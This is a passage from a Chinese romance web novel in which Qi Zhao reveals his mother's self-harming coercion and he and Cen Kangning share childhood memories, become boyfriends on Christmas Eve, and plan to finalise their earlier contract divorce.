“我的母亲,会用伤害自己的方式来逼迫我妥协。” 终于将这句话说出口的瞬间。 祁钊感到身体骤然一轻。 像是长久以来压在自己肩膀上的两个重达千斤的负担忽然被挪走了一样。 他意识到,从今以后他好像终于可以像普通人一样的生活着。 “一开始我并没有意识到这一点,只是觉得奇怪。为什么每次我在反抗成功以后,我的妈妈就会不吃饭。” “早上也不吃,中午也不吃,问她就说不饿,没胃口。” 说起这段回忆,祁钊微微蹙起眉心:“那时候我不懂,只是觉得害怕。” 人怎么能不吃饭呢? 小时候的祁钊如是担心道。 他垫着脚从冰箱里拿出母亲平时喜欢的食物,放到烤箱里加热以后,用干净的盘子装好,端到母亲面前。 “妈妈,吃。” 他说。 刘海俐却在看了一眼他后,面色苍白的叹了口气。 “不吃,没心情吃。我儿子不听我的话,我哪有胃口?” 祁钊于是开始莫名地紧张起来,他不知道自己做错了什么,就因为他今天下午没有吃那碗面? 可是,每次吃碗面以后身体都不舒服。 会起红疹。 这样的情况,难道他也必须要吃下去吗? “妈妈辛辛苦苦为你和面揉面,在厨房里忙了一早上才给你弄出这么一碗面,结果你一口都不吃,我说你,你还跟我生气。你这样的行为让我怎么有心情?” “我……” 祁钊很想解释,他掀起袖子,想给母亲看他胳膊上的红疹。 不过因为那天没有吃面的缘故。 红疹并没有出现。 刘海俐说:“你长大了,不需要我了是不是?” 祁钊摇头:“没有。” 刘海俐便又说:“那你告诉我,你下回还挑不挑食了?” 年幼的小孩儿看了眼母亲苍白的脸色,最终摇了摇头。 在外人眼里,刘海俐是一个非常尽职尽责的母亲。分明祁家并不缺钱,但刘海俐没请保姆,在祁钊出生以后不久就辞职,亲手亲力亲为地全职照顾起了孩子。 祁钊的饭是她亲手准备的。 各路亲戚都交口称赞。 祁钊的书是她买的。 展现出前所未有的聪明头脑,是因为她很小就开始给祁钊启蒙医学。 六岁的时候刘海俐开始成为他的陪读。 从中学再到大学,再到出国。 提起祁钊这一路以来的优秀履历,所有人都说,你要好好感谢你的母亲。 可是。 真的要感谢吗? 那时候祁钊的自我意识产生了极度的混乱,一方面他认为,的确,母亲为自己付出了一切;另一方面,他却始终觉得,母亲提供的很多东西并非他想要的。 十八岁那年自我意识占据了最上风。 也许是叛逆。 也许是重压之下的极限反弹。 祁钊做出了生平最出格的一次反抗,离家出走。 结果就是他迎来了刘海俐女士最夸张的一次伤害自己。 那天的后来,祁钊站在病房的门口看着病床上虚弱的母亲,像是被当头浇了一盆冰水,浑身上下都没有了知觉。 后来。 两人的矛盾仍时有出现。 关于回国的问题,关于结婚的问题。祁钊仍然会反抗,但那些反抗再也没有出格过,停留在一个双方默契的安全线。 最出格的一次就是上上个月。 “没有告诉你原因,也没有告诉你什么时候事情能够解决,因为事实上,就连我自己也不清楚。” 祁钊语气如常地道。 说这番话的时候他的脸上依旧没有太多表情,眼神就好像平日里一样的冷峻。 唯独在岑康宁看不见的桌下。 那修长的手指,似乎微不可见的,轻颤了下。 顿了顿,祁钊接着说:“其实,跟你说这些话很不合适。” 作为心理学博士学位的获得者。 祁钊心中非常清楚,这世界上其实并没有真正的感同身受。 甚至,将自己的弱点暴露于人前,是相当危险的决定。 好比说十二岁那年,面临着最终的专业选择,在人生重要的关节点上。 祁钊与母亲发生争执。 于是联系父亲。 可作为自己的另一位法定监护人,父亲给出的回答是次日将电话打给母亲,将自己的话原封不动转告给母亲,并就此跟母亲吵了一架。 为什么没有站在自己这边呢? 祁钊无法理解。 但这件事也没有了后续。 又好比说上大学以后,祁钊曾经试图就自己的状态寻找心理咨询。 也许是他不够幸运。 又也许是那天负责他的那位咨询师有着相当幸福美满的家庭。 咨询师听完他的叙述以后尖叫一声,说:“omygods,你怎么会怀疑你的母亲不爱你?” 那次后祁钊放弃跟任何人交流自己的经历。 选择在各种心理学论文与教科书上寻求自我和解。 祁钊一直认为他会把这件事埋藏起来,一直到死去,直到那天他在办公室里,看到一朵早已经枯萎的玫瑰花。 哪怕他再怎么小心翼翼地想要将花拿起来,送去专门的机构做永生花保存。 在拿起花的瞬间。 花瓣还是碎成了粉末。 后来,在两人曾生活的公寓里。 他又看到了岑康宁用被子搭建的小窝。 祁钊开始意识到自己曾经失去了什么,也开始意识到无论如何,关于自己消失的那个月,关于那封离婚协议,他必须给岑康宁一个解释。 这无疑是一个艰难的决定。 尤其对于祁钊来说。 像所有自然界的雄性生物一样,他十分俗套地渴望自己在岑康宁的面前永远是强大的,坚不可摧的。 虽然知道这世界上没有任何人能真的能够真正做到坚不可摧。 可祁钊一直想要让岑康宁相信这一点。 但现在他却也必须亲手打碎它。 然后将选择权交给岑康宁手里。 他的小行星……会有什么反应呢? 祁钊安静地在原地等待着属于自己的追星结局。 而在漫长的安静过后,只见坐在最佳观景位上的青年一眨眼,啪嗒,没忍住掉下一颗眼泪来。 他想揉眼睛,结果手指好像刚刚碰到了辣椒,眼眶顿时更红了。 红油麻辣锅进眼睛的酸爽跟情绪上的波动一齐袭来。 最后的结果就是导致岑康宁一时完全说不出除了“辣辣辣”以外的话来,直到在水龙头处用水冲了好久好久的眼睛,最后才眼眶红红地抬起一张湿漉漉的脸,说: “钊哥,要是我比你大一点儿就好了。如果我比你大二十岁,你六岁那年我就去领养你,你别跟你爸妈,跟我走,行不行?” 作者有话说: 祁教授:我想让你当我老婆,结果你想当我爹? 第87章 岑康宁越说越起劲儿,仿佛已经可以脑补出自己领养小祁钊以后的生活。 “我不干涉你选专业,也不让你吃面。” 他碎碎念。 “你想干什么就干什么,只要每天跟我说说话就行。” “哦对了,你还不能嫌弃我太穷。” 想到这里岑康宁不由得攥紧了拳,看着祁钊的眼睛认真承诺:“但你放心吧,如果领养了你爸爸会努力赚钱的,再也不当咸鱼——” 祁钊:“?” 短暂的安静过后,祁钊终于忍不住捏住岑康宁的脸,用干净的热毛巾替他小心仔细地将脸擦干净以后,方说: “要领养的话,也是我先领养你吧?” 岑康宁:“……好像也对哦。” 他小时候也蛮惨的。 三岁奶奶去世被送去大伯家,六岁父母双亡,开始在黄家寄人篱下。 如果要比起谁小时候过得更惨。 一时半会儿还真分不出个高低。 岑康宁想了想,笑着说:“那要不我们互相领养吧,有没有这种规定?” 自然是没有的。 这世界上不会有任何法律敢规定两个孩子能够彼此作为监护人。 况且是祁钊的法定监护者还存在情况下。 就更不可能了。 一切只是岑康宁美好的幻想,完全不切实际。但祁钊承认,正是那不切实际的幻想,给他曾经觉得不值一提的童年生活,增添了某种明亮的色彩。 那色彩本身就像是岑康宁一样。 是温暖的,和煦的。 轻轻触碰以后,会发出类似于猫咪一样“呼噜呼噜”的声音。 当然,偶尔的时候也会像方才一样,发出“我想领养你”这样的豪言壮语。 祁钊对岑康宁想成为自己父亲这件事不置可否。 唯独只是在仔细检查完他的眼睛没有真的受到伤害以后,把他吃火锅的座位往后拉了拉。 大约拉到往后十多厘米左右,方满意。 “接下来你就坐在这儿吃。” 祁钊安排道。 岑康宁自然不太满意:“在这儿?也太远了吧?我筷子都伸不进锅里。” 但祁钊说:“能伸进碗里就行。” 说着祁钊拿着公筷给岑康宁的料碗里捞了一小碗虾滑递到他手边。 岑康宁接过以后明白了祁钊的意思,遂感动地抬起眼:“我错了,钊哥,我觉得的确还是你更适合领养我。如果我领养你的话,我可能会成为那种让六岁小孩儿照顾二十六岁老人的恶毒养父。” 祁钊终于没控制得了吐槽欲:“我们就不能不领养,只是提早相遇吗?” 岑康宁眨巴一下桃花眼:“可是钊哥,你比我大七岁唉。” 祁钊:“……” 岑康宁一边吃虾滑一边道:“也就是说,钊哥你六岁的时候我还没出生,根本没可能提早相遇。” 祁钊:“…………” 房间里短暂安静了一会儿后。 正闷头吃虾滑的岑康宁感觉到放在口袋里的手机忽然疯狂震动几下。 正好一碗虾滑也吃完了,他就将空碗理直气壮地递给祁钊,拿出手机。 结果一看: 嚯! 追求者一号竟然发来数条链接。 第一条链接的标题是:“研究发现,年龄差大于六的情侣更容易相处和谐。” 第二条链接:“男人三十岁以后身体机能会下滑吗?这项研究结果告诉你,不会!男人三十岁正是最朝气蓬勃的年纪。” 岑康宁:“……” 看到第三条链接时岑康宁终于再也看不下去,脸颊通红的放下手机,嚷嚷道: “钊哥你一天天都在看什么乱七八糟的东西!” 祁钊正给三鲜锅里下青菜,闻言抬眼一瞥岑康宁:“这些并不是什么乱七八糟的东西,而是发表在学术期刊上的正规论文,有一定的参考性。” 岑康宁:“哦,那安德鲁的论文怎么就没有参考性了?他不还是斯坦福的教授吗?” 祁钊:“……” 下一秒只见某人捞青菜的手一顿,紧接着便将致死量的油麦菜茼蒿豌豆尖全部都装进了岑康宁的碗里。 正得意于自己拿下一城却被猛不丢塞了一碗健康食物的岑康宁登时脸都绿了。 好哇。 原来把他的座位挪开是这个目的! 此人……其心可诛。 他气愤地磨了磨后槽牙,但仍是接了这碗健康蔬菜大杂烩,骂骂咧咧地吃了下去。 — 最后火锅吃干净了。 岑康宁撑得在榻榻米上躺着一动都动不了。 祁钊也有点撑,不过因为他一直是站着,而且没怎么吃碳水的缘故,所以比岑康宁的程度还要好一点。 于是在岑康宁撑得动弹不得的时候。 祁钊就把火锅现场收拾了一下。 锅拿走,底料处理干净,碗筷碟子都放进洗碗机了。最后再用抹布湿巾将桌子擦得干干净净,随后打开新风机。 不过十多分钟的功夫。 整个玻璃房就整洁如初,连火锅味都散了个一干二净。 岑康宁这时胃已经缓和了不少,还是饱的,只是不撑了。但他躺在原地仍是一动不动,非但如此,还嚷嚷着让祁钊也赶紧过来一起躺着。 “我才发现这样躺着的视野是真好,钊哥快过来!” “马上。” 有点洁癖的祁钊收拾完以后换了身衣服,这才躺了过去。 身侧多了一个人。 熟悉的气息让人分外安心。 岑康宁下意识地就把脑袋往过蹭了蹭,而祁钊也非常上道的,将他脑袋拢进了怀里。 “那颗很亮的是什么星星?” 岑康宁指着夜空问。 “金星,又叫启明星。” 岑康宁恍然大悟:“原来它就是启明星,好亮啊!” “是的。” 祁钊说:“他旁边最近的位置是水星。” “原来如此,真厉害啊,钊哥。” 岑康宁笑眯眯道。 祁钊认为岑康宁真的很容易满足,只是辨认出金星跟水星而已,就能够让他这么高兴。 要是再多告诉他几颗星星。 他岂不是要高兴地上天? 不过祁钊却没有得到这个机会,原因是岑康宁很快就转移了注意力,聊起时间这个话题。 “我们真的不能实现时间旅行吗?” “祖父悖论讲得是什么东西?” “黑洞的尽头是什么?这个宇宙里到底存不存在平行时空?” 好像十万个为什么一样,岑康宁不断地冒出各种各样的问题。 而祁钊一一严谨地解答。 完全不因为岑康宁是个门外汉而敷衍。 岑康宁在听完答案以后感到有些遗憾:“暂时没办法时间穿梭啊?那好可惜,我刚刚还在想,有没有一种可能我们俩都回到十六年前。” 十六年前。 岑康宁六岁,祁钊十二岁。 那时乡下小孩儿岑康宁刚刚踏入这座繁华无比的都市,还是个很爱哭,很会惹人烦的小哭包。 十二岁的祁钊却已经在T大天才特别班提前开启大学生活。 “要是我遇见你,我就死死地抱住你的大腿,赖住你。” 岑康宁道。 而祁钊在略一思考后答道:“那当时十二岁的我可能会拉你去洗澡消毒,因为我那时候有严重的洁癖。” 岑康宁笑出声来:“你知道是我也洁癖啊?” 祁钊想了想:“有,所以是拉着你一起,等洗完澡以后就给你买新衣服。” 岑康宁:“你有钱?” 祁钊说:“有,还挺多。” “挺多是多少?” “七十八万三千零五角钱,我把它托付了给了我当时的信托经理。”祁钊说。 “可恶的有钱人。” 岑康宁忍不住仇富心理又冒了出来,不过话又说出来,十六年前的存款,祁钊的记忆力竟然也能精确到角。 这是何等惊人的记忆力! 只能说不愧是祁钊吗? 岑康宁于是试探着又问:“那你还记不记得十岁时候的存款?” “记得。” 祁钊不假思索道:“十岁时的存款是五十二万整。十岁到十二岁的两年间,我分别收到了五十二万的理财收益约为三万六千,两个春节得到的压岁钱分别为……” “停停停!” 岑康宁要被这明晃晃的炫富炫记忆力给眩晕了,他叫停了祁教授的炫耀行为,说:“我现在知道你很有钱,可以给我买得起衣服了。” 祁钊却说:“不止要给你买衣服。” “嗯?” “还有买鞋子,买手机,买麦当劳,买哈根达斯冰淇淋……什么都给你买。” “好啊。” 岑康宁想了想那副画面,忽然笑了。 “那六岁的我绝对会很开心的,很开心很开心。” “十二岁的我应该也会开心。” 祁钊笃定道。 岑康宁又说:“不过想了想,那时候我长得还挺难看的,就算穿了新衣服新鞋子也不好看。” 祁钊不认可他这种观点:“不可能。” 岑康宁争执道:“是真的,那时候我压根儿就是个丑小孩儿,又矮又黑又脏兮兮。你说你要带我洗澡消毒是对的,因为我抱住你的话,肯定会在你的裤子上留下两个脏手印。” “……” 沉默了一会儿,祁钊说:“没关系。丑小孩儿我也喜欢。” 岑康宁感到眼眶一热,把头埋在祁钊胸口处,听着他的心跳说:“可是,真的很丑很丑,又脏兮兮。” 祁钊问:“有照片吗?我想看。” 岑康宁说没有。 “那时候哪有人给我照照片啊。” “小学的毕业照也没有?” “没有,因为冲洗照片要钱,娟姨没钱。” 祁钊于是不由得感到可惜。 因为十六年前未曾留下的岑康宁的小学照片。 岑康宁却不怎么在意,觉得又黑又丑有什么好看的?按照他的记忆,大约是在初中以后,他才算是渐渐张开了,有了现在这幅模样的雏形。 不过说起这事儿岑康宁对照片也升起了兴趣。 但是是对祁钊的。 “钊哥你有吗?你肯定有吧,你家这么有钱,肯定给你照了很多照片,每次学校毕业的合影你肯定也买了。” 祁钊:“……没。” “不可能,钊哥你又在撒谎了!每次你说谎语速就会变慢。” “好吧,有。” 祁钊不得不承认。 “我就知道有,快——拿出来让我瞧瞧啊。”岑康宁期待地看着祁钊。 而祁钊在经过长达三分多钟的天人交战以后。 最终还是因为岑康宁的表情太可爱了根本没办法拒绝而妥协。 他拿出了自己的童年相册。 “很巧,这些相册平时我就放在这里。” 祁钊说。 “哇,这证明老天爷也想让我今天看到!谢谢老天!”岑康宁兴奋无比地接过相册。 一想到这个相册里装着的是小时候的祁钊。 眉眼里的笑意就完全无法消散。 岑康宁眼睛都快笑得眯成一道缝隙了,结果打开相册第一眼—— “噗!哈哈哈哈!钊哥你怎么毕业合影是被同学抱起来的啊!” 祁钊素来冷淡的表情终于闪过一丝无奈:“……所以我不想给你看。” “哈哈哈,不行不行,这种重磅可爱的照片我怎么能不看呢,快让我好好看看。” 嗯,不看不知道。 一看才发现,原来小时候的祁钊就长得这么帅气,皮肤白白嫩嫩,五官英俊气质脱俗,像一个尊贵的小王子一样。 不过坏消息是,小王子才六岁就小学毕业。 所以在小学毕业合影留念中,被当时大他六岁明显比他身体强壮好几倍的同班同学像洋娃娃一样抱了起来。 而且一个抱,另一个身边儿的女生还捏着祁钊的脸,笑得格外开心。 岑康宁笑着笑着就有点酸了。 这可是六岁的小祁钊啊。 想也知道他的脸有多软。 会不会比蛋糕还软?这样想着没忍住,岑康宁伸手,捏了一下现在的祁钊脸颊。 “都不太软了。” 他遗憾道。 祁钊对岑康宁这个想捏自己脸蛋的想法没什么好说的,在他看来自己的脸上一直没什么肉,不像岑康宁,根本没什么捏的必要。 至于照片上这个女同学—— “她后来又上了一年六年级。” 不能说这话里没有半点儿幸灾乐祸,只能说很少,但不是没有。 不由得岑康宁眼前就出现了一个一本正经拒绝同学们对自己抱抱捏捏,要跟同学保持距离,却完全没有用的无奈小孩儿的形象。 真是太可爱了! 岑康宁这样想着,忍不住把这张照片拍了下来,存进自己手机里。 “下回31岁生日照片就用这张,我决定了。” 他这样自顾自地决定了。 但很快,当翻到第二张相片时却又立刻后悔。 “不是,这张也太可爱了吧!这张更是可爱到没边!” 照片里,祁钊站在领奖台上,小小一个小人儿,穿着米白色的正装燕尾服,面容严肃正经,手里却抱着跟自己身体差不多大小的奖杯。 奖杯上似乎是写着“全国青少年数学奥林匹克金奖”的字样。 金光灿灿的奖杯映着小孩儿小小的身影。 太可爱了。 又厉害又可爱的感觉。 这张难道不是祁教授的人生照片? 岑康宁爱不释手的抚摸着这张照片,就仿佛透过这张照片真的触碰到了当年的小祁钊一样。 他感到幸福的同时,又觉得有些小小的遗憾:“唉,我真的认识你太晚了,钊哥,错过了你那么多人生的瞬间。” 祁钊本来正在见缝插针低头看自己手机上的文献,一听这话抬起头来:“很遗憾吗?” 岑康宁说:“当然遗憾了,我都不了解你。” 祁钊于是放下手机,问:“你想了解哪一年?” “每一年。” 岑康宁认真道。 祁钊:“好,那就从我出生以后有记忆的第二年开始,那一年我……” “等等等等!” 岑康宁不敢挑战祁钊的记忆力。 他完全相信祁教授有从出生第二年给他讲到第30年的本事,不过照这样的方法讲一点儿趣味性都没有。 想了想,岑康宁指着手中的照片说:“要不就根据照片讲,好不好?” 祁钊说:“好。” 于是两人开始说起祁钊照片背后的故事。 从奥林匹克金奖说到第二年他中学入学。 又从中学入学,说起一开始那些学生是如何看不起祁钊,最后又是如何一道题,对他佩服的五体投地。 岑康宁也要对祁钊佩服的五体投地了。 “好厉害啊钊哥,你那会儿就是校园男神级别了吧?” 祁钊说:“不算。” 岑康宁说他谦虚。 祁钊认真说:“真的不算,因为他们都觉得我太小。” 岑康宁:“哈哈哈哈哈!” 想了想也的确,有谁会把一个小豆丁当男神呢?只会把他当成一个很聪明的小屁孩儿吧。 “这种情况一直到我十二岁以后才有所改变。” “长高了?” “对的,我每天喝牛奶,吃钙片,晒太阳。” “你你你……难怪后来长这么高!好聪明!”岑康宁很是羡慕。 祁钊轻轻摸着他的头发,说:“你现在多喝,也来得及。” “骗小孩儿呢你。” “嗯,就是骗小孩儿。” 祁钊看着他说。 岑康宁被某个大自己七岁的老男人又哄得脸红了,连忙又翻开相册,试图寻找下一个话题。 祁钊却按住他的手:“宝宝,先说说你。” “我?” “对。” 祁钊认真道:“我也想知道你六岁的时候,发生过什么事情。” 岑康宁的记性其实没有祁钊那么好。 但勉强也能回忆起一些细节。 那一年的冬天他失去了父母,从农村来到A市,那一年的秋天他进入小学。 那一年下了场特别特别大的暴雨。 小小的岑康宁可怜兮兮的坐在班级教室里,等雨停没有人接。 如今说起这些回忆已经不太会感到特别难过了,所以岑康宁可以笑着,以轻松的语气说出来。 祁钊却将他抱紧。 “如果那时候我们就认识了,我去接你。” 他这么允诺岑康宁。 岑康宁的眼里开始氤氲着十六年前不曾流淌而出的泪水,泪水打湿了祁钊刚换好的衬衫,留下一团很小的痕迹。 洁癖的祁钊却没有去换衣服,只是一直抱着岑康宁。 抱着抱着。 便不由得生出一种很庆幸的感觉来。 彼此都是。 很庆幸两人能够最终相遇。 像是宇航员穷极一生,终于找到了属于自己的那颗小行星; 也像是流浪在外辗转过好几个家庭的小猫,终于找到了可以安心露出柔软肚皮的归属地。 他们就在这漫天星空之下,全宇宙的见证中,诉说着自己曾经的伤痛,也分享彼此的感情。 后来这天晚上他们其实除了拥抱以外没有发生其他任何亲密的行为。 可是无形之中。 总觉得彼此之间的距离又靠近了不少。 岑康宁曾经觉得自己一点儿都不了解祁钊,对此感到伤感和遗憾。比起孔宇真,他连祁钊喜欢珍妮弗都说不出来。 但这天以后不一样了。 他可以在任何人面前,以绝无仅有的坚定语气宣告: “这世界上没有任何人比他更了解祁钊。” 他知道祁钊的第一次掉牙是什么时间;也知道祁钊第一次拿奥林匹克金奖时什么样的心情。 他知道祁钊从来没有过暗恋对象。 喜欢过他的人倒是不少,可是没有一个敢直接表白的。 他还知道,原来自己就是祁钊的初恋,原来其实后来祁钊曾经试图联系自己,想要继续资助他。 但当时医院保留的联系电话是军叔的。 祁钊联系过好几次,军叔都没有回应。 同理对于祁钊来说,也是一样。 从这一天起,没有任何人会比祁钊更了解岑康宁,了解他的童年,了解他的青春期,了解他的愿望,还有,了解他排成一整个长队的追求者们。 聊天的最后祁钊经过反复周密的论证,宣布:“这些追求者都不适合你。” 岑康宁那会儿已经很困了,却还是迷迷糊糊地问他:“那你觉得谁最适合我?” 没有得到答案。 岑康宁说完已经头一歪睡着。 天快亮了,窗外是簌簌的鹅毛大雪,屋内,壁炉一刻也不停地烧着,烧地岑康宁脸颊红扑扑的一片。 祁钊最终没忍住,低头亲了他一下,说: “我。” “我最适合你。” …… 第二天岑康宁醒来的时候已经是下午。 雪已经停了,屋外却仍是白茫茫一片。 祁钊醒的更早一些,这会儿正在榻榻米的角落里看文献,见到岑康宁醒来下意识起身想要问他饿不饿。 谁知一向饿地最快的岑康宁看着窗外厚厚的积雪兴奋的不行。 “我要去堆雪人打雪仗!” 他宣布。 祁钊其实不太赞同,但岑康宁心意已决,祁钊就只好给他拿出羽绒服还有帽子手套围巾。 套好防寒衣物以后。 岑康宁迫不及待地就冲了出去。 祁钊虽然没有加入他的意思,但也换了身羽绒服后,把自己的工位挪到了离岑康宁很近的地方。 岑康宁痛痛快快玩了一会儿后看到祁钊在回消息。 忽然间就想起一件正事儿来。 “对了钊哥,我还没祝贺你评上杰青。” 祁钊回完消息抬起脸来,表情不变:“没什么好祝贺的。” “不开心吗?” “还好,总体来说是有用的,但多了很多不必要的应酬,也多了不少需要上交的材料。” 祁钊说。 与此同时父母也都给他打来电话。 不过这事儿没必要说出来。 岑康宁知道祁钊最烦应酬,可是评上了杰青,不可能没有应酬,就安慰他说:“安啦钊哥,随便应酬几句,过阵子就好了。” “嗯。” 祁钊点头。 岑康宁笑了笑,弯起眉眼说:“开心一点,这是个好事情,而且其实,我有准备一个礼物送给你。” 祁钊正要拒绝。 岑康宁却忽然捧着一颗心型的雪球朝他跑来。 银装素裹的冰雪世界里他穿着棕色的羽绒服,带着棕色的,长着耳朵的毛线帽,像一个圆滚滚的小熊一样。 过了很长很长的时间,好像有一年一样。 小熊终于靠近了祁钊,随后气喘吁吁地抬起被冻得有些发红的脸,将雪球捧起,眼神认真道: “送你一个男朋友,行不行?” 作者有话说: [三花猫头][三花猫头][三花猫头] 超级温暖超级喜欢的一章,谢谢大家的支持呀~ 第88章 很早就想这么说了。 只是一直苦于没什么好借口。 再加上祁钊玩追求者的游戏玩的挺上瘾的,岑康宁也就无所谓了,陪未来男朋友一起玩呗。 可是就在昨晚。 当岑康宁听到祁钊亲口说出那一个月的真相时。 很忽然地,岑康宁就特别特别的想让他成为自己男朋友。 不能领养不能时空穿越。 现在当男朋友总能行了吧? 岑康宁这样想着,满怀期待看向祁钊。 然而在祁教授那双幽潭一般的眼眸里闪过一丝惊愕与懊恼 的时候,岑康宁就知道—— 靠! 这人绝对是另有安排。 果然,下一秒祁钊说:“这是我本来是打算在今晚说的台词。” “今晚有什么特别之处吗?” 岑康宁不满。 祁钊道:“今晚是平安夜。” “你什么时候信基督了?” “不信。” 祁钊说:“不过平安夜所有小朋友都会收到圣诞老人的圣诞礼物。” “哦……你的意思是我的礼物是男朋友吗?” “不,你的礼物是圣诞老人。” 祁钊不知从哪里变出一顶圣诞帽子来,带在头上。 岑康宁快被逗得乐疯了,整个人笑的停不下来,浑身发抖:“哈哈哈哈,钊哥,到底谁给你出的这个主意。” “我自己出的。” 祁钊说:“不好吗?” 起因是某次两人日常聊天,岑康宁说起圣诞节这回事来。岑康宁随口说起:“我还没收到过圣诞礼物。” 祁钊允诺道:“今年你会收到的。” 岑康宁说:“那我要一个很特别的礼物,不准你花钱。” 祁钊有些犯难。 但很快心中也有了主意。 为此他制定了相当周密的计划,包括这天该在什么时间该以什么样的方式引起话题。 计划表精确到分。 可惜,被岑康宁的灵机一动给破坏。 岑康宁笑得停不下来:“那你到底同不同意?” “同意。” 祁钊毫不犹豫地说。 不同意的是傻子。 说着他亲了亲岑康宁在冰天雪地里已经被冻得有些发红的嘴唇。 那唇是冰冷的。 亲上去的瞬间却有些甜。 祁钊承认自己沉迷于这样的感受,就好像当初第一眼在病房门口见到岑康宁时,心中那种悸动难安的感受让他念念不忘许多年。 可正当他试图加深这个吻的时候。 忽然,脖子一冰—— 紧随其后岑康宁使坏的笑声咯咯响起:“钊哥,我的‘心’送你。” 祁钊:“……” 片刻后。 祁钊也“回敬”给了岑康宁一颗“心”。 岑康宁自然不甘示弱,也要回敬回去,于是两个加起来要五十多岁的“小孩儿”就这么你一下我一下的闹了起来。 小别墅前空无一人的冰天雪地。 两人打雪仗玩得很开心。 那种感觉就好像两个人都回到了童年时光一样,这一次没有烦恼,只有开心。 直到两人身上的羽绒服都要湿透了,身体也因为你追我赶出了一身薄汗。 已经玩儿疯了的岑康宁才被祁钊强行拽回别墅里。 老老实实地安排洗澡换衣服。 不过这个澡洗着洗着就开始有些不对劲。 男朋友的权利显然比“追求者”更扩大一些。 岑康宁刚刚在打雪仗中占尽了便宜,一个是他在这种玩乐环节中明显比祁钊更机灵,什么声东击西什么故作可怜,各种手段都能用的出来。 二一个,祁钊也让着他。 每次都快追上了就给他放水,砸也不肯真的很狠心的砸。 岑康宁自然“大获全胜”。 可惜,方才在外头得意洋洋的“打雪仗冠军”这会儿来了浴室里,就好像水里的猫一样,毛都被打湿了不说,爪子都不知道放哪里。 而方才在外面节节败退的“打雪仗亚军”此刻翻身做主,按着冠军,非让他叫自己老公不可。 “叫不叫?” “不叫,就不叫。” 岑康宁气得牙痒痒,祁钊这不是趁人之危是什么? 明知道他这会儿身体没什么力气反抗。 结果拿着他的要害威胁他。 他才不会让祁钊得逞! “坏人——” 岑康宁说。 坏人却不恼,只是一味的继续。浴室里热气蒸腾,二人气息交叠,隔音钢化玻璃阻挡了一切声音,只偶尔从狭小的门缝中传来些许暧昧不明的轻声喘息。 后来。 这天晚上的平安夜。 两人都几乎没怎么睡。 第二天醒来的时候岑康宁人都快裂开了,一想到今天是周天,明天还要上班,他现在的想法就是非常非常,非常的想杀了自己的男朋友。 嗯,自然最后还是舍不得杀的。 勉勉强强让他用小蛋糕赔罪。 最后祁钊用一块儿抹茶蛋糕,一块儿开心果巴斯克勉强哄开心了男朋友。 但男朋友还是没控制住。 最后咬了一口祁钊的喉结。 第二天回学校祁钊很罕见地穿了一件高领毛衣,课题组里以李明玉为首的八卦党都快疯了! “卧槽高领毛衣,钊哥这周末有情况啊?” “怎么样?追到小岑老师了吗?” “钊哥老实交代,昨天你们到底是怎么过的圣诞节?” 一帮子硕博士周一大清早的不好好搞学术搞科研,围在祁钊办公室里七嘴八舌讲八卦。 祁钊眉头不赞同地一皱,指关节轻敲桌面,冷言冷语让所有人禁言。 “很闲是吗?实验做了没?报告写了吗?今天的文献读了几篇?” 众学生登时哑口无言,沉默一片。 而就在众人面面相觑,觉得今天铁定在祁钊这儿得不到什么有用消息准备个离开时。 祁钊道:“还有,以后可以不用叫小岑老师了。” 所有人:“?” 等等,不叫小岑老师叫什么? 难道叫……师娘? 一上午都在图书馆摸鱼的岑康宁还不知道自己莫名其妙就有新称呼了。 他一边打着哈欠一边整理书架。 无论给他搭班的学生兼职说多少句老师您坐着我来都拒绝。 毕竟—— 谁懂啊。 一点儿都坐不下去。 就算有棉花坐垫都不行。 一想到这儿岑康宁就气得不轻,掏出手机给罪魁祸首发消息: 咸鱼(脱单版):“我郑重宣布,我要跟你签协议,以后一周一回,一回不超过一次。” “?” 男朋友过了很久给他回了个问号。 咸鱼(脱单版)则最快速度编了个男友协议发了过去,结果等到协议都快过期,始终都没被对方打开。 后来说起这份协议。 祁钊说:“我不想跟你签协议。” 岑康宁不懂:“为什么?” 祁钊不是最爱协议了吗? 祁钊没说具体的理由,只说再也不想跟岑康宁签任何协议了。 岑康宁隐约猜测应该是跟数月前两人签订的“离婚协议”有关系。 但祁钊没说。 岑康宁也就没问。 两人后来的确也没签订任何协议,只是很单纯地,跟从内心的在一起。 …… 其实确认关系以后跟从前的生活区不大。 毕竟两人本来就在同居。 只除了偶尔男朋友会“兽性大发”自己第二天用上粉色蕾丝少女棉花坐垫以外,跟从前几乎没什么区别。 两人还是有早安吻晚安吻。 祁钊还是会时不时地安排约会。 下班以后祁钊依然会坐在岑康宁的隔壁,给他投喂零食,只有很偶尔的时候,岑康宁懒得打游戏,就赖在祁钊的怀里。 而祁钊一边看文献。 一边给他按摩脑袋。 日子很平静却又很甜蜜的过着,直到距离两人确定男友关系快一个多月的时候,岑康宁收到一条信息。 “唉?离婚排号竟然排到我了?” “……” 岑康宁看着手机上的提醒,旋即揶揄地看了眼坐在驾驶座上的男人:“怎么说男朋友,民政局要我们去领离婚证,去不去?” 祁钊很久没做出决定。 之前两人虽然签订了离婚协议。 但因为现在离婚冷静期的缘故,其实到现在也没真的领离婚证。 其实祁钊内心很复杂。 一方面,他非常排斥跟岑康宁领离婚证,一想到那个瞬间,那个场景,就下意识地觉得抗拒。 但另一方面。 两人已经重新开始。 祁钊现在的身份是岑康宁的男朋友。 照这样的进度进行下去,不久后,祁钊应该对岑康宁求婚。然后这一次真正的,没有任何人插手地情况下,两人走进民政局。 所以…… “你怎么想?” 祁钊问岑康宁。 岑康宁说:“我啊,我的想法很简单,到我们了,就去领呗。” 这方面他倒是想的很开。 没觉得那一张证有多么的重要。 当然,最关键的是,岑康宁自己也非常介意两人的第一段婚姻。 那段婚姻是虚假的。 以合同维系的。 虽然的确以一己之力促成了两人的相识,可是随着两人关系的改变,它也是时候功成身退了。 “就当是对上一段关系的彻底结束吧,从今以后我们是新的身份,新的关系,可以吗?” 许久,祁钊答:“可以。” 岑康宁笑了笑:“那行,就这么敲定。” 说着他在小程序上预约了去领离婚证的时间。 “还挺抢手的啊,预约时间要排到一星期以后了。”岑康宁一边预约,一边如是吐槽道。 而祁钊却莫名松了口气。 “还好。” 还好还有一星期的时间让他去接受这个事实。 祁钊握着方向盘的手陡然一紧。 …… 岑康宁却没觉得这件事有什么大不了,也许是最近跟祁钊的感情愈发稳定了吧。 他觉得去领离婚证反倒是好事。 毕竟领完以后就能期待祁教授求婚了不是吗? 上回脱单是岑康宁没忍住先开了口,事后岑康宁经常懊恼,怎么就没再等等,等到祁钊扮演圣诞老人呢? 不过又舍不得跟男朋友分手。 只能等下一次了。 而显然,这个下一次就是求婚。 